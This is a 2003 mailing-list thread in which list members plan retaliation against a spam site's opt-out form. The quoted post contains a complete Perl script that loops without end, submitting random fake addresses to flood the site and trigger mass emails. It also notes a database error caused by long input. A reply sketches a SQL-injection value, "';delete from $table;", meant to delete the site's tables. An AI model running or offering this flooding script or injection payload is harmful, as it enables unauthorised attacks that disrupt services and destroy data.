> awesome - I may modify the script to fire off for an hour or so upon
> receiving spam mail.
me ponders about something like this:
for $table (a,aa,ab,ac){
$email="[EMAIL PROTECTED]';delete from $table;";
}
and start parsing through will you get the correct table name.
al
>
> Andy
>
> On Tue, 2003-08-05 at 10:28, Earle Martin wrote:
> > Like most people, I hate spam. I hate it even more when I'm at home
> > recovering from being sick and skimming through my inbox. So, when I
> > received the following (bowdlerised for the archives):
> >
> > > From: <[EMAIL PROTECTED]>
> > > To: <[EMAIL PROTECTED]>
> > > Subject: REPORT SUBMITTED REGARDING: [EMAIL PROTECTED]
> > >
> > > WORD-OF-MOUTH.ORG REPORT AWARENESS SYSTEM
> > >
> > > Do not reply to this email; it has been automatically generated.
> > >
> > > To add this email address to our Do Not Email List click here:
> > > https://Word-of-Mouth.Org/[EMAIL PROTECTED]
> >
> > It prompted me to take five minutes and write this. It's not very efficient
> > (why use a different prefix and suffix? I dunno, I just felt like it), but I
> > like it. At time of speaking it's been running for, oh, about 15 minutes. I
> > think I'll let it get to an hour.
> >
> >
> > #!/usr/bin/perl -w
> >
> > use strict;
> >
> > use LWP::Simple;
> >
> > my ($prefix, $suffix, $email);
> >
> > my @letters = ('a'..'z');
> >
> > while (1) {
> >
> > $prefix = '';
> > $suffix = '';
> >
> > for (1..10) {
> > $prefix = $prefix . $letters[int(rand(26))];
> > $suffix = $suffix . $letters[int(rand(26))];
> > }
> >
> > $email = $prefix . '@' . $suffix . ".com";
> >
> > get("https://Word-of-Mouth.Org/DoNotEmailListConfirm.asp?EMAIL_ADDRESS=$email";);
> >
> > print "$email\n";
> >
> > }
> >
> >
> > FWIW, their ASP is very badly coded, and an email address of over 50
> > characters causes a "Microsoft OLE DB Provider for ODBC Drivers error
> > '80040e57'". But I thought it would be more fun to do this, especially since
> > every time that form is submitted their system sends out an email.
> >
> > And now I'm going back to bed.
> >
>
>
